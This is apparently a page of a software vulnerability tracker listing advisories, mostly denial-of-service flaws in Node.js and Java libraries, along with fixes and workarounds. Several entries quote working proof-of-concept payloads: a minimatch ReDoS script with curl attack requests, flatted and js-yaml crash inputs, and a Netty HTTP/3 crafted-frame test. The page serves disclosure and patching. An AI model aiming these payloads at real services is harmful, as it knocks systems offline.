Search
Vulnerabilities 301–350 of 785, affecting the active versions
| Score | ID | Status | Published | Affected versions | Description | Notes |
|---|---|---|---|---|---|---|
| 7.5CVSS 3.1 | CVE-2026-84292
GHSA-qw65-cvwx-89v3 |
Resolved | 2026-09-02 | 5.6 ×95.5 ×205.4 ×14 | fast-uri serializes the port component of a URI without validating it. When recomposing the authority, the userinfo and host components are escaped but the port is concatenated verbatim, so a port value that is not a sequence of digits can inject authority delimiters, demoting the intended host to userinfo and pointing the authority at an attacker-controlled host. Both fast-uri and Node's URL read the result back as the attacker's host with no error, so re-validating the built URI does not catch it. This affects applications that build URIs from parts and assign untrusted data to the port component through the serialize, normalize, or equal functions in their object forms. The issue affects fast-uri versions before 2.4.6, from 3.0.0 before 3.1.7, and from 4.0.0 before 4.1.4. It is fixed in 2.4.6, 3.1.7, and 4.1.4, where recomposeAuthority rejects any port that is not a digit sequence per RFC 3986. | |
| 7.5CVSS 3.1 | CVE-2026-84375
GHSA-2883-xcg3-v3hh |
Not affected | 2026-09-01 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | js-yaml is a JavaScript YAML parser and dumper. From 3.0.0 until 3.15.2, 4.3.2, and 5.4.1, maxTotalMergeKeys in lib/js-yaml/loader.js and lib/loader.js does not count empty mapping sources while processing the merge key <<. An attacker can alias a large sequence of empty mappings into many merge targets, causing O(N * K) processing while totalMergeKeys remains unchanged and the configured resource limit is never reached. A relatively small YAML document can therefore cause prolonged CPU consumption in applications that parse untrusted YAML, and merge processing is enabled by default on these release lines. In v3 & v4, merge is enabled by default so the severity score is higher. This issue is fixed in versions 3.15.2, 4.3.2, and 5.4.1. | |
| 7.5CVSS 3.1 | CVE-2026-85721
GHSA-7grg-jcf7-rpmx |
Resolved | 2026-09-17 | 5.7 ×35.6 ×95.5 ×205.4 ×14 | The AsyncHttpClient (AHC) library allows Java applications to easily execute HTTP requests and asynchronously process HTTP responses. From 2.0.0 until 2.16.1 and 3.0.12, automatic response decompression on the HTTP/1.1 path uses ChannelManager.newHttpContentDecompressor() to install Http1ContentDecompressor without a cumulative output-size limit. A hostile or compromised server, or an attacker who can alter a response in transit, can send a small gzip, deflate, or snappy response that expands across chunks until the client exhausts its heap and raises OutOfMemoryError; brotli and zstd are also affected when their optional codecs are present. In versions 3.0.8 through 3.0.10, the HTTP/2 decompressor is also unbounded, so switching protocols does not mitigate the issue on those releases. A limit applied to each decode call is insufficient because the response can be delivered as many small chunks, so the fixed implementation tracks total decompressed bytes for the whole response. This issue is fixed in versions 2.16.1 and 3.0.12. | |
| 7.5CVSS 3.1 | CVE-2026-8609 | Resolved | 2026-07-10 | 5.6 ×95.5 ×205.4 ×14 | An unauthenticated attacker can repeatedly call Grafana's OAuth login route with unique values, causing unbounded memory growth that can eventually exhaust memory and crash the Grafana instance (denial of service). | |
| 7.5CVSS 3.1 | CVE-2026-87776
GHSA-vc2v-76pw-4v95 |
Resolved | 2026-09-11 | 5.6 ×95.5 ×205.4 ×14 | compression is a Node.js and Express compression middleware. In versions before 1.8.2, when a client aborts the connection while a compressed response is still being sent, the zlib stream created to compress that response is never destroyed, so each aborted compressed response leaks its native zlib memory. A remote unauthenticated attacker can repeatedly open requests and disconnect early, exhausting the available memory and crashing the server. All applications using compression are affected. The issue is fixed in compression 1.8.2, and users should upgrade to 1.8.2 or later. | |
| 7.5CVSS 3.1 | CVE-2026-89407
GHSA-p6pp-m3f8-5c89 |
In triage | 2026-09-22 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | NumberInput.looksLikeValidNumber() in FasterXML jackson-core pre-validates "stringified numbers" with two regular expressions: PATTERN_FLOAT ([+-]?[0-9]*[\.]?[0-9]+([eE][+-]?[0-9]+)?), present since 2.17.0, and PATTERN_FLOAT_TRAILING_DOT, added in 2.17.2. PATTERN_FLOAT places adjacent quantifiers over the same character class -- an optional [0-9]* run, an optional dot, then a required [0-9]+ run -- so input that ultimately fails to match forces Java's backtracking engine to retry every possible split point of the digit run. Matching cost therefore grows with the square of the input length. An attacker who can supply JSON that an application deserializes into a numeric target type reaches this method through jackson-databind's default String-to-number coercion (StdDeserializer and NumberDeserializers for BigDecimal, BigInteger, Double and Float). Because StreamReadConstraints.maxStringLength defaults to 20,000,000 characters, no constraint bounds the input before it reaches the regex. Testing by the reporter confirmed O(n^2) growth across five consecutive input-size doublings, with a single 160,000-character string consuming roughly 74 seconds in one call; a small number of concurrent requests of ordinary body size can therefore exhaust a server's request-handling thread pool. The affected method does not exist before 2.17.0, so 2.16.x and earlier releases are not affected. The fix replaces both regular expressions with a hand-rolled single-pass scan. | |
| 7.5CVSS 3.1 | CVE-2026-89425
GHSA-7hhh-6rmp-j9qf |
In triage | 2026-09-23 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | UTF8DataInputJsonParser._reportInvalidToken() in FasterXML jackson-core builds the offending-token text for its error message by appending Java identifier characters to a StringBuilder in a loop that has no upper bound. Unlike the three sibling parser implementations, including UTF8StreamJsonParser, it never consults ErrorReportConfiguration.getMaxErrorTokenLength() (default 256). A malformed token supplied to a parser created through JsonFactory.createParser(DataInput) is therefore accumulated in full. No StreamReadConstraints setting mitigates this: maxDocumentLength cannot be applied to DataInput sources at all, and maxStringLength does not cover this path because the accumulation bypasses ReadConstrainedTextBuffer. The reporter measured a 20,000,109-character exception message from a 20-million-character malformed token on the DataInput path, against 367 characters for identical input on the InputStream path. Scaling the payload drives the StringBuilder, which also incurs byte-to-char expansion and internal array doubling, to many times the raw payload size and can trigger OutOfMemoryError for the whole JVM. UTF8DataInputJsonParser was introduced in 2.8.0 together with createParser(DataInput); releases before 2.8.0 do not contain the affected class. | |
| 7.5CVSS 3.1 | CVE-2026-91776
GHSA-wv8q-qhhj-9h54 |
In triage | 2026-09-23 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | TypeDeserializerBase._findDeserializer() in FasterXML jackson-databind caches the resolved deserializer under the raw, attacker-supplied type ID. When name-based polymorphism is configured with a fallback, for example @JsonTypeInfo(use = Id.NAME, defaultImpl = ...), every distinct unrecognized type ID resolves to the same fallback deserializer but is retained as its own key in the _deserializers map. That map has no configurable bound and lives for the lifetime of the type deserializer, so an attacker who can repeatedly supply fresh unknown type IDs causes monotonic memory retention across requests. The reporter observed 10,000 retained entries from 10,000 distinct unknown IDs, against a single entry for a control that repeated one unknown ID the same number of times, isolating attacker-controlled key cardinality from request volume. Exploitation requires an application that enables name-based polymorphism with a defaultImpl or equivalent fallback, accepts attacker-influenced type IDs, and reuses a long-lived ObjectMapper across requests. The fix stops caching fallback resolutions for unrecognized IDs and bounds both the number of cached entries and the length of a cacheable type ID. | |
| 7.5CVSS 3.1 | CVE-2026-91777
GHSA-cxp5-3px4-pw24 |
In triage | 2026-09-23 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | Forward-reference completion for @JsonIdentityInfo object IDs in FasterXML jackson-databind performs a linear scan of the pending-reference accumulator for every resolved ID. The affected paths are CollectionDeserializer.CollectionReferringAccumulator.resolveForwardReference() and the equivalent implementation in MapDeserializer. When a document first creates N unresolved object-ID references in an identity-enabled collection or map and then defines those same IDs in reverse order, completion performs on the order of N * (N + 1) / 2 identity comparisons, so a shallow document whose size grows linearly causes quadratic CPU work during deserialization. The reporter instrumented equals() calls on the ID class and measured exactly 2,003,000 comparisons at N = 2,000, against zero comparisons in the pending-reference lookup path for an equally sized control in which every reference was already resolved. The input requires no deep nesting and no syntactically unusual JSON. Exploitation requires an application that deserializes attacker-influenced JSON into an identity-enabled collection or map. The fix replaces the repeated linear lookup with a keyed pending-reference structure. | |
| 7.5CVSS 3.1 | CVE-2026-97370
GHSA-h9h9-2rmf-rvhp |
Resolved | 2026-10-15 | 5.7 ×35.6 ×95.5 ×205.4 ×14 | Junrar is an open source Java RAR archive library. Prior to 7.6.1, RarVM.ExecuteCode in src/main/java/com/github/junrar/unpack/vm/RarVM.java can repeatedly execute a VM_JMP instruction whose target is greater than or equal to the prepared program's codeSize. The setIP() function returns success without changing the instruction pointer or decrementing maxOpCount, and the jump handler continues before loop-end accounting, leaving both values unchanged. A crafted RAR4 archive can therefore keep an extraction thread in an infinite CPU loop and exhaust archive-processing worker capacity. The RAR virtual machine does not expose native process execution, so the supported impact is availability loss rather than code execution. This issue is fixed in version 7.6.1. | |
| 7.5CVSS 3.1 | GHSA-23c5-xmqv-rm74
CVE-2026-27904 |
False positive | 2026-02-26 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ### Summary Nested `*()` extglobs produce regexps with nested unbounded quantifiers (e.g. `(?:(?:a|b)*)*`), which exhibit catastrophic backtracking in V8. With a 12-byte pattern `*(*(*(a|b)))` and an 18-byte non-matching input, `minimatch()` stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default `minimatch()` API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects `+()` extglobs equally. --- ### Details The root cause is in `AST.toRegExpSource()` at [`src/ast.ts#L598`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/ast.ts#L598). For the `*` extglob type, the close token emitted is `)*` or `)?`, wrapping the recursive body in `(?:...)*`. When extglobs are nested, each level adds another `*` quantifier around the previous group: ```typescript : this.type === '*' && bodyDotAllowed ? `)?` : `)${this.type}` ``` This produces the following regexps: | Pattern | Generated regex | |----------------------|------------------------------------------| | `*(a\|b)` | `/^(?:a\|b)*$/` | | `*(*(a\|b))` | `/^(?:(?:a\|b)*)*$/` | | `*(*(*(a\|b)))` | `/^(?:(?:(?:a\|b)*)*)*$/` | | `*(*(*(*(a\|b))))` | `/^(?:(?:(?:(?:a\|b)*)*)*)*$/` | These are textbook nested-quantifier patterns. Against an input of repeated `a` characters followed by a non-matching character `z`, V8's backtracking engine explores an exponential number of paths before returning `false`. The generated regex is stored on `this.set` and evaluated inside `matchOne()` at [`src/index.ts#L1010`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/index.ts#L1010) via `p.test(f)`. It is reached through the standard `minimatch()` call with no configuration. Measured times via `minimatch()`: | Pattern | Input | Time | |----------------------|--------------------|------------| | `*(*(a\|b))` | `a` x30 + `z` | ~68,000ms | | `*(*(*(a\|b)))` | `a` x20 + `z` | ~124,000ms | | `*(*(*(*(a\|b))))` | `a` x25 + `z` | ~116,000ms | | `*(a\|a)` | `a` x25 + `z` | ~2,000ms | Depth inflection at fixed input `a` x16 + `z`: | Depth | Pattern | Time | |-------|----------------------|--------------| | 1 | `*(a\|b)` | 0ms | | 2 | `*(*(a\|b))` | 4ms | | 3 | `*(*(*(a\|b)))` | 270ms | | 4 | `*(*(*(*(a\|b))))` | 115,000ms | Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level. --- ### PoC Tested on minimatch@10.2.2, Node.js 20. **Step 1 -- verify the generated regexps and timing (standalone script)** Save as `poc4-validate.mjs` and run with `node poc4-validate.mjs`: ```javascript import { minimatch, Minimatch } from 'minimatch' function timed(fn) { const s = process.hrtime.bigint() let result, error try { result = fn() } catch(e) { error = e } const ms = Number(process.hrtime.bigint() - s) / 1e6 return { ms, result, error } } // Verify generated regexps for (let depth = 1; depth <= 4; depth++) { let pat = 'a|b' for (let i = 0; i < depth; i++) pat = `*(${pat})` const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString() console.log(`depth=${depth} "${pat}" -> ${re}`) } // depth=1 "*(a|b)" -> /^(?:a|b)*$/ // depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/ // depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/ // depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/ // Safe-length timing (exponential growth confirmation without multi-minute hang) const cases = [ ['*(*(*(a|b)))', 15], // ~270ms ['*(*(*(a|b)))', 17], // ~800ms ['*(*(*(a|b)))', 19], // ~2400ms ['*(*(a|b))', 23], // ~260ms ['*(a|b)', 101], // <5ms (depth=1 control) ] for (const [pat, n] of cases) { const t = timed(() => minimatch('a'.repeat(n) + 'z', pat)) console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`) } // Confirm noext disables the vulnerability const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true })) console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`) // +() is equally affected const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))')) console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`) ``` Observed output: ``` depth=1 "*(a|b)" -> /^(?:a|b)*$/ depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/ depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/ depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/ "*(*(*(a|b)))" n=15: 269ms result=false "*(*(*(a|b)))" n=17: 268ms result=false "*(*(*(a|b)))" n=19: 2408ms result=false "*(*(a|b))" n=23: 257ms result=false "*(a|b)" n=101: 0ms result=false noext=true: 0ms (should be ~0ms) "+(+(+(a|b)))" n=18: 6300ms result=false ``` **Step 2 -- HTTP server (event loop starvation proof)** Save as `poc4-server.mjs`: ```javascript import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch' const PORT = 3001 http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:${PORT}`) const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? '' const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6 console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`) res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }).listen(PORT, () => console.log(`listening on ${PORT}`)) ``` Terminal 1 -- start the server: ``` node poc4-server.mjs ``` Terminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately: ``` curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" & ``` Terminal 3 -- send a benign request while the attack is in-flight: ``` curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz" ``` **Observed output -- Terminal 2 (attack):** ``` {"result":false,"ms":"64149"} ``` **Observed output -- Terminal 3 (benign, concurrent):** ``` {"result":false,"ms":"0"} time_total: 63.022047s ``` **Terminal 1 (server log):** ``` [2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz" [2026-02-20T09:42:21.775Z] done in 64149ms result=false [2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz" [2026-02-20T09:42:21.779Z] done in 0ms result=false ``` The server reports `"ms":"0"` for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second `time_total` is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps. Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact. --- ### Impact Any context where an attacker can influence the glob pattern passed to `minimatch()` is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here. Depth 3 (`*(*(*(a|b)))`, 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (`*(*(a|b))`, 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard. `+()` extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed). **Mitigation available:** passing `{ noext: true }` to `minimatch()` disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns. | |
| 7.5CVSS 3.1 | GHSA-25h7-pfq9-p65f
CVE-2026-32141 |
False positive | 2026-03-13 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ## Summary flatted's `parse()` function uses a recursive `revive()` phase to resolve circular references in deserialized JSON. When given a crafted payload with deeply nested or self-referential `$` indices, the recursion depth is unbounded, causing a stack overflow that crashes the Node.js process. ## Impact Denial of Service (DoS). Any application that passes untrusted input to `flatted.parse()` can be crashed by an unauthenticated attacker with a single request. flatted has ~87M weekly npm downloads and is used as the circular-JSON serialization layer in many caching and logging libraries. ## Proof of Concept ```javascript const flatted = require('flatted'); // Build deeply nested circular reference chain const depth = 20000; const arr = new Array(depth + 1); arr[0] = '{"a":"1"}'; for (let i = 1; i <= depth; i++) { arr[i] = `{"a":"${i + 1}"}`; } arr[depth] = '{"a":"leaf"}'; const payload = JSON.stringify(arr); flatted.parse(payload); // RangeError: Maximum call stack size exceeded ``` ## Fix The maintainer has already merged an iterative (non-recursive) implementation in PR #88, converting the recursive `revive()` to a stack-based loop. ## Affected Versions All versions prior to the PR #88 fix. | |
| 7.5CVSS 3.1 | GHSA-27r3-jxmh-p828
CVE-2026-111181 |
Resolved | 2026-10-23 | 5.6 ×95.5 ×205.4 ×14 | ### Impact A single request can crash any application using `body-parser` with default options. When a request carries a `Content-Encoding` (for example `gzip`), `body-parser` pipes it into a decompression stream and, after reading the body, leaves that stream piped with no error listener. A payload of one valid compressed frame followed by trailing bytes decodes and the application responds normally, but the trailing bytes then reach the already-finished decoder, which emits an error that is re-thrown as an uncaught exception and terminates the process. No authentication or matching route is required, since parsing runs before routing. ### Patches Fixed in body-parser 2.4.0 and 1.20.9. Upgrade to one of these versions. ### Workarounds Pass `inflate: false` to the body-parser middleware if the application does not need to accept compressed request bodies. This rejects encoded requests before any decompression stream is created. | |
| 7.5CVSS 3.1 | GHSA-2883-xcg3-v3hh
CVE-2026-84375 |
Not affected | 2026-09-08 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ## Summary `maxTotalMergeKeys` does not count empty mappings. An attacker can repeatedly merge a large sequence of them and consume significant CPU without reaching the configured limit. ## Example ```yaml arr: &arr [{}, {}, {}, ...] # N empty mappings targets: - <<: *arr # repeated K times ``` For every target, the loader iterates all `N` elements of `arr`. This results in `O(N * K)` work while `totalMergeKeys` remains unchanged. ## PoC ```js import { performance } from 'node:perf_hooks' import { load, YAML11_SCHEMA } from 'js-yaml' const n = 20000 const src = 'arr: &arr [' + '{},'.repeat(n).slice(0, -1) + ']\n' + 'targets:\n' + ' - <<: *arr\n'.repeat(n) const started = performance.now() load(src, { schema: YAML11_SCHEMA }) console.log(`${(performance.now() - started).toFixed(1)} ms`) ``` Observed results: | N | YAML size | Time | |---:|---:|---:| | 800 | ~13 KB | ~20 ms | | 3200 | ~50 KB | ~180 ms | | 20000 | ~500 KB | ~13 s | ## Impact An attacker can submit a relatively small YAML document that causes prolonged CPU consumption despite the default `maxTotalMergeKeys` limit. ## Fix Count each merge-source mapping as one budget unit, in addition to counting its keys. ## Difference with v5 In v3 & v4, merge is enabled by default. So, the severity score is higher. | |
| 7.5CVSS 3.1 | GHSA-2c5c-chwr-9hqw
CVE-2026-42582 |
Resolved | 2026-05-07 | 5.7 ×35.6 ×2 | ### Summary When Netty decodes HTTP/3 headers, it sometimes runs `new byte[length]` using a length from the wire before checking that many bytes are really there. A small malicious header can claim a huge length (on the order of a gigabyte). ### Details When decoding header blocks, the non-Huffman branch of `io.netty.handler.codec.http3.QpackDecoder#decodeHuffmanEncodedLiteral` may execute `new byte[length]` for a string literal before verifying that length bytes are actually present in the compressed field section. The wire encoding allows a very large length to be expressed in few bytes. There is no check that `length <= in.readableBytes()` before `new byte[length]`. ### PoC The test below constructs a small HTTP/3 HEADERS frame whose QPACK section decodes to a ~1 GiB non-Huffman name length and is used to observe server-side failure; it illustrates how little wire data can target `new byte[length]`. ```java @Test public void test() throws Exception { EventLoopGroup group = new MultiThreadIoEventLoopGroup(1, NioIoHandler.newFactory()); try { X509Bundle cert = new CertificateBuilder() .subject("cn=localhost") .setIsCertificateAuthority(true) .buildSelfSigned(); QuicSslContext serverContext = QuicSslContextBuilder.forServer(cert.toTempPrivateKeyPem(), null, cert.toTempCertChainPem()) .applicationProtocols(Http3.supportedApplicationProtocols()) .build(); AtomicReference<Throwable> serverErrors = new AtomicReference<>(); CountDownLatch serverConnectionClosed = new CountDownLatch(1); ChannelHandler serverCodec = Http3.newQuicServerCodecBuilder() .sslContext(serverContext) .maxIdleTimeout(5000, TimeUnit.MILLISECONDS) .initialMaxData(10_000_000) .initialMaxStreamDataBidirectionalLocal(1_000_000) .initialMaxStreamDataBidirectionalRemote(1_000_000) .initialMaxStreamsBidirectional(100) .tokenHandler(InsecureQuicTokenHandler.INSTANCE) .handler(new ChannelInitializer<QuicChannel>() { @Override protected void initChannel(QuicChannel ch) { ch.closeFuture().addListener(f -> serverConnectionClosed.countDown()); ch.pipeline().addLast(new Http3ServerConnectionHandler( new ChannelInboundHandlerAdapter() { @Override public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) { if (cause instanceof DecoderException) { serverErrors.set(cause.getCause()); } else { serverErrors.set(cause); } } })); } }) .build(); Channel server = new Bootstrap() .group(group) .channel(NioDatagramChannel.class) .handler(serverCodec) .bind("127.0.0.1", 0) .sync() .channel(); QuicSslContext clientContext = QuicSslContextBuilder.forClient() .trustManager(InsecureTrustManagerFactory.INSTANCE) .applicationProtocols(Http3.supportedApplicationProtocols()) .build(); ChannelHandler clientCodec = Http3.newQuicClientCodecBuilder() .sslContext(clientContext) .maxIdleTimeout(5000, TimeUnit.MILLISECONDS) .initialMaxData(10000000) .initialMaxStreamDataBidirectionalLocal(1000000) .build(); Channel client = new Bootstrap() .group(group) .channel(NioDatagramChannel.class) .handler(clientCodec) .bind(0) .sync() .channel(); QuicChannel quicChannel = QuicChannel.newBootstrap(client) .handler(new Http3ClientConnectionHandler()) .remoteAddress(server.localAddress()) .localAddress(client.localAddress()) .connect() .get(); QuicStreamChannel rawStream = quicChannel.createStream(QuicStreamType.BIDIRECTIONAL, new ChannelInboundHandlerAdapter()).get(); ByteBuf header = Unpooled.buffer(); header.writeByte(0x01); header.writeByte(0x08); header.writeByte(0x00); header.writeByte(0x00); header.writeByte(0x27); header.writeByte(0x80); header.writeByte(0x80); header.writeByte(0x80); header.writeByte(0x80); header.writeByte(0x04); rawStream.writeAndFlush(header).sync(); assertTrue(serverConnectionClosed.await(10, TimeUnit.SECONDS)); assertInstanceOf(IndexOutOfBoundsException.class, serverErrors.get()); quicChannel.closeFuture().await(5, TimeUnit.SECONDS); server.close().sync(); client.close().sync(); } finally { group.shutdownGracefully(); } } ``` ### Impact The server can slow down, stall, or crash under load when many crafted HTTP/3 HEADERS frames trigger very large `byte[]` allocations during QPACK literal decoding. | |
| 7.5CVSS 3.1 | GHSA-3244-j874-rhc2
CVE-2026-44250 |
Resolved | 2026-06-08 | 5.6 ×25.5 ×185.4 ×12 | ### Summary An attacker can cause DoS by sending a crafted Redis payload with deeply nested arrays. This forces the server to allocate a massive number of state objects and collections, leading to memory exhaustion and an OutOfMemoryError. ### Details io.netty.handler.codec.redis.RedisArrayAggregator aggregates RedisMessage parts into ArrayRedisMessage. It uses a `Deque<AggregateState>` to keep track of nested arrays. However, it does not limit the maximum depth of nested arrays. When an attacker sends a continuous stream of nested array headers (e.g., `*1\r\n*1\r\n*1\r\n...`), RedisArrayAggregator pushes a `new AggregateState` onto the stack and allocates a `new ArrayList` for each header. Because there is no depth limit, an attacker can send millions of such headers. This consumes a massive amount of heap memory for the AggregateState instances and their backing ArrayLists, eventually resulting in an OutOfMemoryError. ### Impact Denial of Service due to memory exhaustion. Any application using Netty's RedisArrayAggregator to handle untrusted Redis traffic is vulnerable. | |
| 7.5CVSS 3.1 | GHSA-37ch-88jc-xwx2
CVE-2026-4867 |
Not affected | 2026-03-27 | 5.6 ×95.5 ×205.4 ×14 | ### Impact A bad regular expression is generated any time you have three or more parameters within a single segment, separated by something that is not a period (`.`). For example, `/:a-:b-:c` or `/:a-:b-:c-:d`. The backtrack protection added in `path-to-regexp@0.1.12` only prevents ambiguity for two parameters. With three or more, the generated lookahead does not block single separator characters, so capture groups overlap and cause catastrophic backtracking. ### Patches Upgrade to [path-to-regexp@0.1.13](https://github.com/pillarjs/path-to-regexp/releases/tag/v.0.1.13) Custom regex patterns in route definitions (e.g., `/:a-:b([^-/]+)-:c([^-/]+)`) are not affected because they override the default capture group. ### Workarounds All versions can be patched by providing a custom regular expression for parameters after the first in a single segment. As long as the custom regular expression does not match the text before the parameter, you will be safe. For example, change `/:a-:b-:c` to `/:a-:b([^-/]+)-:c([^-/]+)`. If paths cannot be rewritten and versions cannot be upgraded, another alternative is to limit the URL length. ### References - [GHSA-9wv6-86v2-598j](https://github.com/advisories/GHSA-9wv6-86v2-598j) - [Detailed blog post: ReDoS the web](https://blakeembrey.com/posts/2024-09-web-redos/) | |
| 7.5CVSS 3.1 | GHSA-4c8g-83qw-93j6
CVE-2026-13676 |
Resolved | 2026-07-21 | 5.6 ×95.5 ×205.4 ×14 | ### Impact `fast-uri` versions `>= 2.3.1, <= 4.0.0` fail to canonicalize Unicode/IDN hostnames for HTTP-family URLs. The IDN conversion path calls `URL.domainToASCII(...)` on the global WHATWG `URL` constructor, where that helper does not exist. The resulting `TypeError` is silently routed into `parsed.error`, but `parse()`, `normalize()`, and `equal()` all return with the host left in its original Unicode form. For example, `http://127。0。0。1/` is treated by `fast-uri` as host `127。0。0。1`, while Node's WHATWG URL parser and `fetch()` canonicalize the same input to `127.0.0.1`. Applications that use `fast-uri` to enforce host-based policy (denylists, loopback filtering, redirect validation, outbound proxy routing) before passing the same URL into Node's URL or `fetch()` consumers see a policy/use desync and can be steered to an unintended destination. ### Patches Upgrade to `fast-uri` v4.0.1, v3.1.3, or v2.4.2 ### Workarounds None. Upgrade to the patched version. | |
| 7.5CVSS 3.1 | GHSA-4g8c-wm8x-jfhw
CVE-2025-24970 |
Resolved | 2025-02-10 | 5.4 ×14 | ### Impact When a special crafted packet is received via SslHandler it doesn't correctly handle validation of such a packet in all cases which can lead to a native crash. ### Workarounds As workaround its possible to either disable the usage of the native SSLEngine or changing the code from: ``` SslContext context = ...; SslHandler handler = context.newHandler(....); ``` to: ``` SslContext context = ...; SSLEngine engine = context.newEngine(....); SslHandler handler = new SslHandler(engine, ....); ``` | |
| 7.5CVSS 3.1 | GHSA-4grm-h2qv-h6w6
CVE-2026-48748 |
Resolved | 2026-06-15 | 5.7 ×35.6 ×2 | ### Summary A memory exhaustion vulnerability in the Netty HTTP/3 codec allows the creation of an infinite number of blocked streams, which can cause OOM error. ### Details The vulnerability exists in `io.netty.handler.codec.http3.QpackDecoder#shouldWaitForDynamicTableUpdates`: If a client sends a header referencing a table entry that the server hasn't received yet, the server must pause that stream and wait for the missing entry to arrive. To prevent attackers from exhausting resources by intentionally sending missing references, Netty limits the number of streams that can be blocked at the same time. However, the check is implemented as: ```java if (blockedStreamsCount == maxBlockedStreams - 1) { ``` If the server enables QPACK dynamic tables (by setting `HTTP3_SETTINGS_QPACK_MAX_TABLE_CAPACITY` > 0) but does not explicitly configure `HTTP3_SETTINGS_QPACK_BLOCKED_STREAMS`, it defaults to 0. When `maxBlockedStreams` is 0, the condition evaluates to `blockedStreamsCount == -1`. Since `blockedStreamsCount` starts at `0` and only increments, it never equals `-1`. This bypasses the limit, allowing an attacker to open an infinite number of streams that block indefinitely. Additionally, the `QpackDecoder` never removes unblocked streams from the `blockedStreams` map or decrements the counter, meaning the `ReadResumptionListener` for each blocked stream is kept in memory for the entire lifetime of the connection. This exhausts server memory and crashes the JVM. ### Impact Denial of Service. Any server using `netty-codec-http3` with QPACK dynamic tables enabled and maxBlockedStreams defaulting to 0 is impacted. | |
| 7.5CVSS 3.1 | GHSA-52cp-r559-cp3m
CVE-2026-59869 |
Not affected | 2026-07-20 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ### Impact js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one: ```yaml a0: &a0 { k0: 0 } a1: &a1 { <<: *a0, k1: 1 } a2: &a2 { <<: *a1, k2: 2 } a3: &a3 { <<: *a2, k3: 3 } ... b: *aN ``` For each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size. ### PoC From N = 4000 delay become > 1s (doc size < 100K) ```js import { performance } from 'node:perf_hooks' import { Buffer } from 'node:buffer' import { load, YAML11_SCHEMA } from 'js-yaml' const n = Number(process.argv[2] || 4000) function makeMergeChain (count) { const lines = ['a0: &a0 { k0: 0 }'] for (let i = 1; i < count; i++) { lines.push(`a${i}: &a${i} { <<: *a${i - 1}, k${i}: ${i} }`) } lines.push(`b: *a${count - 1}`) return `${lines.join('\n')}\n` } const source = makeMergeChain(n) console.log(source.split('\n').slice(0, 8).join('\n')) console.log('...') console.log(source.split('\n').slice(-4).join('\n')) console.log() console.log(`N: ${n}`) console.log(`YAML size: ${Buffer.byteLength(source)} bytes`) const started = performance.now() const result = load(source, { schema: YAML11_SCHEMA }) const elapsed = performance.now() - started console.log(`parse time: ${elapsed.toFixed(1)} ms`) console.log(`top-level keys: ${Object.keys(result).length}`) console.log(`b keys: ${Object.keys(result.b).length}`) ``` ### Patches Fix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 